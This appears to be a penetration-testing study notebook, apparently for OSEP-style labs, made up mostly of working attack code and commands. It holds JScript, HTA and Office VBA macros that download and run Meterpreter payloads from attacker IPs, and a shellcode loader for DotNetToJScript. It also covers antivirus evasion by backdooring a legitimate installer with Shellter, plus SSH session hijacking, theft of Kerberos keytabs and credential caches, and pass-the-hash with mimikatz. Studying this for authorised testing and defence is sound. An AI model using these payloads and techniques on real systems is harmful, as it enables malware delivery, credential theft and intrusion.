Object.Send();
if (Object.Status == 200)
{
var Stream = WScript.CreateObject('ADODB.Stream');
Stream.Open();
Stream.Type = 1;
Stream.Write(Object.ResponseBody);
Stream.Position = 0;
Stream.SaveToFile("met.exe", 2);
Stream.Close();
}
var r = new ActiveXObject("WScript.Shell").Run("met.exe");

Proxy-aware
var url = "http://192.168.119.120/met.exe";
var xmlhttp = new ActiveXObject("MSXML2.XMLHTTP.3.0");
// Set proxy details using setProxy method
xmlhttp.setProxy(2, "http://proxy.example.com:8080", "");
xmlhttp.open("GET", url, false);
xmlhttp.send();
if (xmlhttp.status === 200) {
var stream = new ActiveXObject("ADODB.Stream");
stream.Open();
stream.Type = 1;
stream.Write(xmlhttp.responseBody);
stream.Position = 0;
stream.SaveToFile("met.exe", 2);
stream.Close();
}
var shell = new ActiveXObject("WScript.Shell");
shell.Run("met.exe");
HTA
OSEP/Payloads/Phishing/nonDN2J.hta at main · In3x0rabl3/OSEP (github.com)
var shell = new ActiveXObject("WScript.Shell");
var re = shell.Run("powershell -windowstyle hidden bitsadmin /Transfer newjob3 http://192.168.49.173/enc3.txt c:\\windows\\temp\\enc3.txt;certutil -decode c:\\windows\\temp\\enc3.txt c:\\windows\\temp\\bypass.exe;C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe")
//var res = shell.Run("bitsadmin /Transfer newjob2 http://192.168.49.173/enc2.txt c:\\windows\\temp\\enc1.txt");
//var res1 = shell.Run("timeout 10 && certutil -decode c:\\windows\\temp\\enc.txt c:\\windows\\temp\\bypass.exe");
//var res2 = shell.Run("timeout 12 && C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\installutil.exe /logfile= /LogToConsole=false /U C:\\windows\\temp\\bypass.exe");
self.close();var shell = new ActiveXObject("WScript.Shell");
var res = shell.Run("powershell.exe iwr -uri http://172.21.23.10/inj_runner.exe -outfile C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe");
var ress = shell.Run("powershell.exe wget http://172.21.23.10/inj_runner.exe -o C:\\users\\public\\runner.exe; C:\\users\\public\\runner.exe");
self.close();VBA
Sub MyMacro()
Dim str As String
str = "powershell (New-Object System.Net.WebClient).DownloadString('http://192.168.119.120/run.ps1') | IEX"
Shell str, vbHide
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub#
The provided VBA code automatically downloads an executable from a specified IP address when a document is opened and then runs it after a 2-second delay.
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
Sub MyMacro()
Dim str As String
str = "powershell (New-Object
System.Net.WebClient).DownloadFile('http://192.168.119.120/msfstaged.exe',
'msfstaged.exe')"
Shell str, vbHide
Dim exePath As String
exePath = ActiveDocument.Path + "\msfstaged.exe"
Wait (2)
Shell exePath, vbHide
End Sub
Sub Wait(n As Long)
Dim t As Date
t = Now
Do
DoEvents
Loop Until Now >= DateAdd("s", n, t)
End SubEXE to DLL
hasherezade/exe_to_dll: Converts a EXE into DLL (github.com)
#Usage
#Run exe_to_dll from commandline. Arguments:
args:
# Example:
exe_to_dll.exe test_case1.exe test_case1.dll
# After the successful conversion you should obtain a DLL exporting a Start function. This is the Original Entry Point of your input application.
Evasion techniques
AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM
Evasion techniques (checkpoint.com)
Hypervisor check
using System;
using System.Runtime.InteropServices;
class Program
{
[DllImport("hypervisor_check.dll", CallingConvention = CallingConvention.Cdecl)]
public static extern bool is_run_in_hypervisor();
static void Main()
{
bool inHypervisor = is_run_in_hypervisor();
Console.WriteLine(inHypervisor ? "Running in a hypervisor!" : "Not running in a hypervisor.");
}
}
Sleep function
// Import dll
[DllImport("kernel32.dll")]
static extern void Sleep(uint dwMilliseconds);
// In main
DateTime t1 = DateTime.Now;
Sleep(5000);
double t2 = DateTime.Now.Subtract(t1).TotalSeconds;
if (t2 < 1.5)
{
return;
}
Frida - Hooking
Initial Access - All-around tools
There are several tools that help pack a payload that bypasses AV. Depending on your C2 framework, most of shellcode generated is burned already. Some of these tools can help evade detection.
AV bypass can be tedious and some of these tools might help.
Theory
# On-Disk Evasion
- Packers
- Obfuscator
- Crypters
- Software protectors
# In-memory Evasion
- Remote Process Memory Injection
- Reflective DLL Injection
- Process Hollowing
- Inline hooking
BallisKit - MacroPack
MacroPack Pro is a Swiss-army knife for initial vector generation. It helps Red Teams automate, weaponize and deliver payloads while offering robust defense bypass techniques.
MacroPack Pro supports the latest trend in payload generation such as LNK, URL, ClickOnce, HTML smuggling. It can be used to generate or trojan classic Office formats (Word, Excel, PowerPoint, Publisher, OneNote, Visio, MS Project). If you are looking at Office alternatives, use MacroPack to generate scripts such as HTA, WSF, SCT, VBS, MSI, etc.
MacroPack Pro is compatible with common offensive frameworks and tools such as Sliver, Cobalt Strike, Mythic, Empire, among others.

The free version of MacroPack is available here, though it won't be as good as bypassing AV.
https://github.com/sevagas/macro_pack
# Must be installed from Windows machine
# Some example commands from github. All other commands are available on Github
# Obfuscate the vba file generated by msfvenom and puts result in a new VBA file.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.5 -f vba | macro_pack.exe -o -G meterobf.vba
# List all supported file formats
macro_pack.exe --listformats
# List all available templates
macro_pack.exe --listtemplates
mgeeky's tools
Mgeeky have created some very great tools, some free, some cost money and require sponsoring on GitHub.
Sponsor @mgeeky on GitHub Sponsors
binary-offensive | Offensive IT Security
Some of my private repositories shared with my Sponsors include:
MSISnatcher - MSI backdooring companion
Polonium - AV/EDR benchmarking tool, advanced shellcode loader
Bloated-EXE-in-LNK
SharpPRT - PRT extraction helper
cobalt-initial-opsec - headless agressor script
BOF.NET - (my fork) stealthily run .NET assemblies in-process
Carbuncle - (my fork) All you ever wanted from Outlook during RT
azure-functions-redirector
digitalocean-app-redirector
MyStayKit
Anonymize_CS_Logs
mgeeky-gists
and more..
Shellter
Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.
It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.
The free version only works for x86, not x64.
# Install
sudo apt install shellter
apt install wine
# If error
dpkg --add-architecture i386 && apt-get update &&
apt-get install wine32:i386
# Start
shellter
# Download a valid .exe file, ex spotify installer and load it into shellter.
/home/aghanim/downloads/SpotifySetup.exe
# Choose a payload from the list.
L
1
SET LHOST: IP
SET LPORT: PORT
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You'll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter "migrate".
set AutoRunScript post/windows/manage/migrate
-----------------------
# You can also set custom payload
# First generate a binary file with msfvenom. -e is the encoding we're using, and -i is the number of iterations. (The number of times to encode the payload)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw > met.bin
# Start shellter
Choose Operation Mode - Auto/Manual (A/M/H): A
PE Target: /home/kali/poultry/whoami.exe
**********
* Backup *
**********
Backup: Shellter_Backups\whoami.exe
...
Filtering Time Approx: 0.0024 mins.
Enable Stealth Mode? (Y/N/H): N
************
* Payloads *
************
[1] Meterpreter_Reverse_TCP [stager]
[2] Meterpreter_Reverse_HTTP [stager]
[3] Meterpreter_Reverse_HTTPS [stager]
[4] Meterpreter_Bind_TCP [stager]
[5] Shell_Reverse_TCP [stager]
[6] Shell_Bind_TCP [stager]
[7] WinExec
Use a listed payload or custom? (L/C/H): C
Select Payload: /home/kali/poultry/met.bin
Is this payload a reflective DLL loader? (Y/N/H): N
****************
* Payload Info *
****************
...
Injection: Verified!


Veil Framework
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.
# Install
# https://github.com/Veil-Framework/Veil
apt -y install veil
/usr/share/veil/config/setup.sh --force --silent
# If error with (wine) python pip peefile version fix with this
vim /usr/share/veil/config/setup.sh
Change line 587 to:
sudo -u "${trueuser}" WINEPREFIX="${winedir}" wine "${winedir}/drive_c/Python34/python.exe" "-m" "pip" "install" "-Iv" "pefile==2019.4.18"
Then, run # veil --setup again.
# Start veil
veil
# or
/usr/share/veil/Veil.py
# Available Commands:
exit Completely exit Veil
info Information on a specific tool
list List available tools
options Show Veil configuration
update Update Veil
use Use a specific tool
# Generate a powershell script (bat file) for evasion
veil > use evasion
# List payloads
veil > list
# Use powershell rev tcp payload
veil/evasion > use powershell/meterpreter/rev_tcp.py
# List options
[powershell/meterpreter/rev_tcp>>]: options
# Generate payload
[powershell/meterpreter/rev_tcp>>]: generate
# From pic below, payload is in /var/lib/veil/output/source/ folder

Ebowla
https://github.com/Genetic-Malware/Ebowla
# Use it to obfuscate payloads like JuicyPotato or other exploits.
# Quick demo
https://www.youtube.com/watch?v=rRm3O7w5GHg
Just Enought Administration (JEA)
- JEA Purpose: Provides specific users/groups just enough permissions to execute their tasks without compromising security.
- JEA Function: Allows delegated administration via PowerShell. Applicable to both servers and clients.
- JEA Benefits:
Reduces the number of administrators.
- Limits administrator capabilities.
- Provides logging to monitor actions of JEA enabled users.
- JEA sessions typically run in RestrictedRemoteServer mode, with limited commands.
- Files and commands executed in a JEA session might run with administrative privileges.
# Session Configuration File is a file that has the .pssc extension. The below listing shows a default file created with the New-PSSessionConfigurationFile command in PowerShell.
## Default PSSession Configuration file
1 @{
2
3 # Version number of the schema used for this document
4 SchemaVersion = '2.0.0.0'
5
6 # ID used to uniquely identify this document
7 GUID = 'e4f7e55c-57dc-41b2-bab0-ae4bb209fbe9'
8
9 # Author of this document
10 Author = 'administrator'
11
12 # Description of the functionality provided by these settings
13 # Description = ''
14
15 # Session type defaults to apply for this session configuration. Can be 'RestrictedRemoteServer' (recommended), 'Empty', or 16 'Default'
16 SessionType = 'Default'
17
18 # Directory to place session transcripts for this session configuration
19 # TranscriptDirectory = 'C:\Transcripts\'
20
21 # Whether to run this session configuration as the machine's (virtual) administrator account
22 # RunAsVirtualAccount = $true
23
24 # Scripts to run when applied to a session
25 # ScriptsToProcess = 'C:\ConfigData\InitScript1.ps1', 'C:\ConfigData\InitScript2.ps1'
26
27 # User roles (security groups), and the role capabilities that should be applied to them when applied to a session
28 # RoleDefinitions = @{ 'CONTOSO\SqlAdmins' = @{ RoleCapabilities = 'SqlAdministration' }; 'CONTOSO\SqlManaged' = @{ RoleCapabilityFiles = 'C:\RoleCapability\SqlManaged.psrc' }; 29 'CONTOSO\ServerMonitors' = @{ VisibleCmdlets = 'Get-Process' } }
29
30 }
# Enumerate commands. The command below will tell you what kind of commands you're allowed to run.
Get-Command
Just-In-Time Access (JIT)
- JIT is a security feature that provides temporary, limited administrative access to resources. Reduces the risk associated with permanent administrative privileges.
- Use Case:
User needs to log in and perform maintenance requiring administrative privileges.
- Instead of giving permanent access, JIT allows for temporary administrative access.
- After the set duration, access is automatically revoked.
- Integration:
Active Directory + JIT = Needs Privileged Access Management Feature (PAM) to be enabled.
- PAM writes specific attributes that can be enumerated.
- Once PAM is enabled in AD, it can't be disabled.
# Explotation usually requires approval from another user.
# Lets say I request access to a file server through the PAM. Unless there is an automatic approval, a user have to log in and accept my access.
# Thats why this is harder to enumerate and exploit, and is usually done in the later stages of an engagement.
# Enumerate
## First import the dll to memory
Import-Module Microsoft.ActiveDirectory.Management
# Then you can enumerate the Get-commands
Get-Command -Module Microsoft.ActiveDirectory.Management | Where-Object { $_.Name -like "Get-*" }
# Example output of PAM being enabled on AD.
Get-ADOptionalFeature -Filter *
...
FeatureGUID :
RequiredDomainMode :
RequiredForestMode : Windows2016Forest
IsDisableable : False
FeatureScope : {ForestOrConfigurationSet}
DistinguishedName : CN=Privileged Access Management Feature,CN=Optional Features,CN=Directory Service,CN=Windows NT,CN=Services,CN=Configuration,DC=corp,DC=com
Name : Privileged Access Management Feature
ObjectClass : msDS-OptionalFeature
ObjectGuid :
PropertyNames : {DistinguishedName, EnabledScopes, FeatureGUID, FeatureScope...}
AddedProperties : {}
RemovedProperties : {}
ModifiedProperties : {}
PropertyCount : 10
JScript
JScript is a scripting language used to make websites and Windows programs interactive and dynamic. It's similar to JavaScript.
DotNetToJscript
If you get "This tool should only be run on v2 of the CLR" while trying to run the binary, look at the forum below.
DotNetToJScript compilation (offsec.com)
> You could just comment off the code portion in Program.cs of DotNetToJScript project, where it checks the Environment.Version.Major != 2 and throws the error "This tool should only be run on v2 of the CLR". The resulting .js file works just fine.
https://github.com/tyranid/DotNetToJScript
- Download DotNetToJscript.
- Open the .sln
- Compile both DotNetToJscript and ExampleAssembly
- Run the command below.
- Open demo.js
DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js
Testclass.cs
# The below code is the ExampleAssembly.dll. You can change the code, but remember that the class-name and the public void name have to be the same in order for DotNetToJscript.exe to work.
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;
[ComVisible(true)]
public class TestClass
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize,
uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize,
IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr
lpThreadId);
[DllImport("kernel32.dll")]
static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
public TestClass()
{
byte[] buf = new byte[460] {0xfc,0x48,...};
int size = buf.Length;
IntPtr addr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(buf, 0, addr, size);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0,
IntPtr.Zero);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
public void RunProcess(string path)
{
Process.Start(path);
}
}
Then run this command after the above is compiled
.\DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo1.js
SharpShooter &SuperSharpsHooter
https://github.com/mdsecactivebreach/SharpShooter.git
# Updated version
https://github.com/SYANiDE-/SuperSharpShooter
If you have problems with SharpShooter, try this. SharpShooter have to be run from the SharpShooter directory for it to load the correct templates!
curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
sudo python2 get-pip.py (sudo is neccesary)
sudo apt install python-setuptools
pip install jsmin==2.2.2 --ignore-installed
git clone https://github.com/mdsecactivebreach/SharpShooter.git
cd SharpShooter
python2 SharpShooter.py
Generating a raw Meterpreter staged payload using msfvenom:
- Create the payload:
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.119.120 LPORT=443 -f raw -o /var/www/html/shell.txt
Generating malicious Jscript file with SharpShooter:
- Invoke the SharpShooter tool with appropriate parameters:
sudo python SharpShooter.py --payload js --dotnetver 4 --stageless --rawscfile /var/www/html/shell.txt --output test
4. Notes:
--payload js: This specifies a Jscript output format.
--dotnetver 4: Sets the targeted .NET framework version.
--stageless: Specifies in-memory execution of the Meterpreter shellcode. In SharpShooter, "stageless" refers to the method of transferring the entire Jscript payload.
--rawscfile: Specifies the file that contains our shellcode.
--output: Sets the output file name (excluding the file extension).
Kiosk Breakout
Escaping from KIOSKs - HackTricks
URIs (Uniform Resource Identifiers)
# Used to access locally-stored pages and files.
file://
# Access to internal Chrome browser pages and settings.
chrome://
# File Transfer Protocol, used for transferring files over the Internet.
ftp://
# Used to open the default mail client and initiate composing an email.
mailto:
# SMB protocol, commonly used for local network file sharing.
smb://
# Embeds data like inline images directly into content.
data:
# Initiates a call using the designated telephone number.
tel:
# Executes JavaScript code from a URL or hyperlink.
javascript:
# Represents data formats like images or other binary data.
blob:
# Used by torrent clients to download files.
magnet:
# Starts an SSH session.
ssh:
# Real-Time Messaging Protocol for streaming content.
rtmp:
# Directory services protocol.
ldap:
# An older document retrieval protocol.
gopher:
# WebSockets for real-time communication.
ws:
# Secure WebSockets.
wss:
# Denotes the XMPP/Jabber messaging protocol.
xmpp:
# Accessing newsgroups.
news:
# Protocol for accessing newsgroups.
nntp:
# Common in VoIP services.
sip:
# Defines geographical coordinates.
geo:
# Represents Bitcoin addresses for transactions.
bitcoin:
Windows Kiosk Breakout
1. Windows Explorer and Applications:
- Liabilities:
Windows Explorer integration in apps can be a kiosk security issue.
- Especially true for Internet Explorer, foundational for many kiosks.
2. Environment Variables:
- Usage: Can be substituted for full file paths in browser-based kiosks.
- Example: %APPDATA% → local folder for app data storage.
- Notable Environment Variables:
%ALLUSERSPROFILE% → C:\Documents and Settings\All Users
%APPDATA% → C:\Documents and Settings\Username\Application Data
%COMMONPROGRAMFILES% → C:\Program Files\Common Files
%COMMONPROGRAMFILES(x86)% → C:\Program Files (x86)\Common Files
%COMSPEC% → C:\Windows\System32\cmd.exe
%HOMEDRIVE% → C:\
%HOMEPATH% → C:\Documents and Settings\Username
%PROGRAMFILES% → C:\Program Files
%PROGRAMFILES(X86)% → C:\Program Files (x86) (64-bit version only)
%SystemDrive% → C:\
%SystemRoot% → C:\Windows
%TEMP% & %TMP% → C:\Documents and Settings\Username\Local Settings\Temp
%USERPROFILE% → C:\Documents and Settings\Username
%WINDIR% → C:\Windows
3. UNC Paths:
- Usage: Enter full UNC paths in user input boxes or file browsers.
- Example:
\127.0.0.1\C$\Windows\System32
4. Shell Commands:
- Usage: Use "shell:" shortcut in file browser dialogs.
- Notable Shell Commands:
shell:System → Opens the system folder
shell:Common Start Menu → Opens the Public Start Menu folder
shell:Downloads → Opens the user's Downloads folder
shell:MyComputerFolder → Opens the “This PC” window
5. Browser-Protocol Style Shortcuts:
- Usage: Use "
file:///" to access apps or files.
6. Windows Search Functionality:
- Usage: Use embedded search boxes to navigate to a file from the search results.
7. Help Dialog:
- Usage: Use it to search for utilities like Notepad, cmd.exe, or PowerShell.
8. File Shortcuts:
- Usage:
Create shortcuts in a file browser dialog.
- Modify the shortcut target application to an app like cmd.exe or powershell.exe.
9. Drag and Drop:
- Usage: Start apps by dragging and dropping files onto them. (Useful: cmd.exe and powershell.exe)
10. Print Dialog:
- Usage: Can be used to access Windows Explorer features.
- Usage: Use keyboard combinations to expand access.
- Notable Shortcuts:
! → Help
C+P → Print Dialog
E+A → Task Switcher
G+R → Run menu
C+~ → Start Menu
12. Bypassing Whitelisting or Blacklisting:
- Strategies:
Copy and paste binaries, rename and run.
- Modify hash, filename, or filepath to bypass blacklists.
Lateral Movement - Linux
SSH Persistence
# 1. Generate SSH Keypair on Kali VM:
kali@kali:~# ssh-keygen
# View and Copy the Public Key:
cat /home/kali/.ssh/id_rsa.pub
# Insert the Public Key on the Target Machine:
linuxvictim@linuxvictim:~$ echo "ssh-rsa AAAAB3NzaC1yc2E....ANSzp9EPhk4cIeX8= kali@kali" >> /home/linuxvictim/.ssh/authorized_keys
# SSH into the Target Machine without a Password:
kali@kali:~$ ssh linuxvictim@linuxvictim
Hijacking SSH with ControlMaster
ControlMaster is a feature that enables sharing of multiple SSH sessions over a single network connection. This functionality can be enabled for a given user by editing their local SSH configuration file (~/.ssh/config).
# 1. Create SSH Config if it does not exist:
offsec@controller:~$ cat > ~/.ssh/config
Host *
ControlPath ~/.ssh/controlmaster/%r@%h:%p
ControlMaster auto
ControlPersist 10m
# 2. Set Correct File Permissions:
offsec@controller:~$ chmod 644 ~/.ssh/config
# 3. Create ControlMaster Directory if it does not already exists:
offsec@controller:~$ mkdir ~/.ssh/controlmaster
# 4. To test this theory, you first need to ssh to the linuxvictim machine. After you ssh'd, exit the session and list files. As you can see there is a socket file now:
offsec@controller:~$ ls -al ~/.ssh/controlmaster/
total 8
drwxrwxr-x 2 offsec offsec 4096 May 13 16:22 .
drwx------ 3 offsec offsec 4096 May 13 13:55 ..
srw------- 1 offsec offsec 0 May 13 16:22 offsec@linuxvictim:22
# 5. Now you can SSH Without Password (piggybacking active session):
offsec@controller:~$ ssh offsec@linuxvictim
# 6. SSH to the controller again, but now as the root user:
# List available sockets:
root@controller:~# ls -al /home/offsec/.ssh/controlmaster
# Now you can piggyback the active session with root user, without using the password:
root@controller:~# ssh -S /home/offsec/.ssh/controlmaster/offsec\@linuxvictim\:22 offsec@linuxvictimHijacking SSH using SSH-Agent and SSH Agent Forwarding
- Purpose:
SSH-Agent: Manages user's private keys.
- SSH Agent Forwarding: Allows SSH-Agent usage on an intermediate server, mimicking a local agent.
- Advantages:
Doesn't require private key storage on the intermediate server.
- Users don’t repeatedly input passphrases.
- How It Works:
SSH key requests from destination servers are passed through intermediate hosts to the originating client's SSH Agent.
# Create SSH Key Pair:
ssh-keygen
# Copy Public Key to Servers:
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@controller
kali@kali:~$ ssh-copy-id -i ~/.ssh/id_rsa.pub offsec@linuxvictim
# Enable Agent Forwarding on Kali Machine:
# Add in ~/.ssh/config:
ForwardAgent yes
# Allow Agent Forwarding on Controller Server:
# Add in /etc/ssh/sshd_config:
AlowAgentForwarding yes
# Start SSH-Agent:
kali@kali:~$ eval `ssh-agent`
# Add Keys to SSH-Agent:
kali@kali:~$ ssh-add
# Connect using SSH-Agent Forwarding:
kali@kali:~$ ssh offsec@controller
offsec@controller:~$ ssh offsec@linuxvictimLinux Kerberos
General Syntax
# Logging in to the linuxvictim System
kali@kali:~$ ssh administrator@corp1.com@linuxvictim
# Note: We are using Active Directory credentials here.
# Kerberos Tickets and Credential Cache
# • AD members using Kerberos authentication get a credential cache file.
# • The cache file location is set via KRB5CCNAME environment variable.
# • To find the administrator’s credential cache file:
env | grep KRB5CCNAME
# Acquiring Kerberos Tickets
# • Kerberos tickets expire after some time.
# • Use kinit command to get a ticket-granting ticket (TGT) for the current user.
kinit
# • List stored tickets using klist:
klist
# Deleting Cached Tickets
kdestroy
# Accessing Kerberos Services
# • Get a list of available Service Principal Names (SPN) using ldapsearch with #Kerberos authentication:
ldapsearch -Y GSSAPI -H ldap://dc01.corp1.com -D "Administrator@CORP1.COM" -W -b "dc=corp1,dc=com" "servicePrincipalName=*"
# -Y GSSAPI - Force LDAP to use kerberos authentication
# Requesting a Service Ticket
# • Use the kvno utility:
kvno MSSQLSvc/DC01.corp1.com:1433
# • Confirm the ticket acquisition with klist:
klist
Ticket cache: FILE:/tmp/krb5cc_607000500_wJiOow
Default principal: Administrator@CORP1.COM
Valid starting Expires Service principal
10/05/2023 14:02:39 10/06/2023 00:02:39 krbtgt/CORP1.COM@CORP1.COM
renew until 10/12/2023 14:02:38
10/05/2023 14:03:26 10/06/2023 00:02:39 ldap/dc01.corp1.com@CORP1.COM
renew until 10/12/2023 14:02:38
10/05/2023 14:03:54 10/06/2023 00:02:39 MSSQLSvc/DC01.corp1.com:1433@CORP1.COMStealing Keytab files
- Purpose: Automate authentication to Kerberos resources without using a password.
- Keytab Files: Contain a Kerberos principal name and encrypted keys.
# Creating a Sample Keytab
administrator@corp1.com@linuxvictim:~$ ktutil
ktutil: addent -password -p administrator@CORP1.COM -k 1 -e rc4-hmac
Password for administrator@CORP1.COM: [User Password Entered Here]
ktutil: wkt /tmp/administrator.keytab
ktutil: quit
# Keytab file created at /tmp/administrator.keytab.
# Potential Misuse of Keytab Files
# • With root access, keytab can be used maliciously.
root@linuxvictim:~# kinit administrator@CORP1.COM -k -t /tmp/administrator.keytab
# Verifying the Loaded Tickets
root@linuxvictim:~# klist
Ticket cache: FILE:/tmp/krb5cc_1000
Default principal: administrator@CORP1.COM
Valid starting Expires Service principal
07/30/2020 15:18:34 07/31/2020 01:18:34 krbtgt/CORP1.COM@CORP1.COM
renew until 08/06/2020 15:18:34
# Renewing Expired Tickets
• Renew tickets if expired but within renewal timeframe.
root@linuxvictim:~# kinit -R
# Exploiting Loaded Keytab Files
# • Authenticate as the domain admin.
root@linuxvictim:~# smbclient -k -U "CORP1.COM\administrator" //DC01.CORP1.COM/C$
WARNING: The "syslog" option is deprecated
Try "help" to get a list of possible commands.
smb: \> ls
$Recycle.Bin DHS 0 Sat Sep 15 03:19:00 2018
Documents and Settings DHS 0 Tue Jun 9 13:50:42 2020
pagefile.sys AHS 738197504 Fri Oct 2 11:25:15 2020
PerfLogs D 0 Mon Jun 15 15:04:37 2020
Program Files DR 0 Mon Jun 15 08:10:03 2020
Program Files (x86) D 0 Tue Jun 9 08:43:21 2020
ProgramData DH 0 Mon Jun 15 15:04:37 2020Abusing Credential Cache files
# Lets say you find a cached credential file in /tmp.
offsec@linuxvictim:~$ ls -al /tmp/krb5cc_*
Output:
-rw------- 1 offsec offsec 1430 Jul 30 15:17 /tmp/krb5cc_1000
-rw------- 1 administrator@corp1.com domain users@corp1.com 4016 Jul 30 15:11 /tmp/krb5cc_607000500_3aeIA5
# You can copy, and take ownership of the cache file
offsec@linuxvictim:~$ sudo cp /tmp/krb5cc_607000500_3aeIA5 /tmp/krb5cc_minenow
offsec@linuxvictim:~$ sudo chown offsec:offsec /tmp/krb5cc_minenow
-rw------- 1 offsec offsec 4016 Jul 30 15:20 /tmp/krb5cc_minenow
# Now, to use the stole cache file. First destroy the current keys.
# Then set the environment variable KRB5CCNAME to specify the location of the Kerberos credentials cache.
offsec@linuxvictim:~$ kdestroy
offsec@linuxvictim:~$ export KRB5CCNAME=/tmp/krb5cc_minenow
offsec@linuxvictim:~$ klist
Output:
klist: No credentials cache found (filename: /tmp/krb5cc_1000)
...
Ticket cache: FILE:/tmp/krb5cc_minenow
Default principal: Administrator@CORP1.COM
...
renew until 08/06/2020 15:11:08
# Requesting Service Tickets with the Stolen Cache
offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433
offsec@linuxvictim:~$ klist
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2
...
renew until 08/06/2020 15:11:08Using Kerberos ticket locally
# Copy the victim's stolen ccache file to the Kali machine.
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow
# Set the KRB5CCNAME environment variable to use the victim's Kerberos tickets.
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow
# These utilities help in performing ticket manipulation tasks.
kali@kali:~$ sudo apt install krb5-user
# Determine the IP address of the domain controller and configure the hosts file to recognize it.
offsec@linuxvictim:~$ host corp1.com
# Update the /etc/hosts file with domain controller details.
# Set up Proxy for Kerberos Authentication:
# The idea is to make it seem like the authentication requests are coming from the domain-joined host.
# • Adjust proxy settings: Comment out proxy_dns in /etc/proxychains.conf.
# • Create a SOCKS server using SSH on the compromised server.
kali@kali:~$ ssh offsec@linuxvictim -D 9050
# Get Users SPN
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5
CORP1.COM/Administrator
# List all AD users from domain
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5
CORP1.COM/Administrator
# Use Impacket's psexec to get a shell.
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass
ProxyChains-3.1 ( http://proxychains.sf.net)
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
...
[*] Requesting shares on DC01.CORP1.COM.....
[*] Found writable share ADMIN$
[*] Uploading file tDwixbpM.exe
[*] Opening SVCManager on DC01.CORP1.COM.....
[*] Creating service cEiR on DC01.CORP1.COM.....
[*] Starting service cEiR.....
...
[!] Press help for extra shell commands
...
Microsoft Windows [Version 10.0.17763.1282]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32>Lateral Movement - Windows
RDP
- Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop).
- Require local administrator to dump the NTLM hashes
- Restricted Admin Mode allows RDP connections without saving credentials on the remote machine.
It mitigates credential theft on the target system during the RDP session.
- The mode is disabled by default but can be enabled via a registry entry.
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords
# If LSA protection is enabled, scroll a bit up to know how to disable it.
# Once the hash is captured, pass it using the command. mstsc.exe window will popup.
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:"mstsc.exe /restrictedadmin"
# If restricted admin is disabled, enable it by using powershell on target machine
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell
# A Powershell window wil popup.
Enter-PSSession -Computer appsrv01
# Enabled Restricted Admin mode
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0
# Disable RAM
Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdminReverse RDP Proxying with Metasploit
- Access machines protected by firewalls and NAT configurations via reverse proxying.
Prerequisite:
- Already have an established meterpreter session
# Background current meterpreter shell
background
# Set Up Autoroute in Metasploit:
msf5 exploit(multi/handler) > use multi/manage/autoroute
msf5 post(multi/manage/autoroute) > set session 1
msf5 post(multi/manage/autoroute) > exploit
# Configure SOCKS Proxy:
msf5 post(multi/manage/autoroute) > use auxiliary/server/socks5
msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1
msf5 auxiliary(server/socks4a) > exploit -j
# Set Up Proxychains for Reverse Tunnel:
# Add the SOCKS5 proxy IP and port to Proxychains config:
kali@kali:~$ sudo bash -c 'echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf'
# Now you can RDP to target that is protected by edge firewall
kali@kali:~$ proxychains rdesktop 192.168.120.10SharpRDP.exe - Console rdp
https://github.com/0xthirteen/SharpRDP
sharprdp.exe computername=appsrv01 command="powershell (New-Object
System.Net.WebClient).DownloadFile('http://192.168.119.120/met.exe',
'C:\Windows\Tasks\met.exe'); C:\Windows\Tasks\met.exe" username=corp1\dave
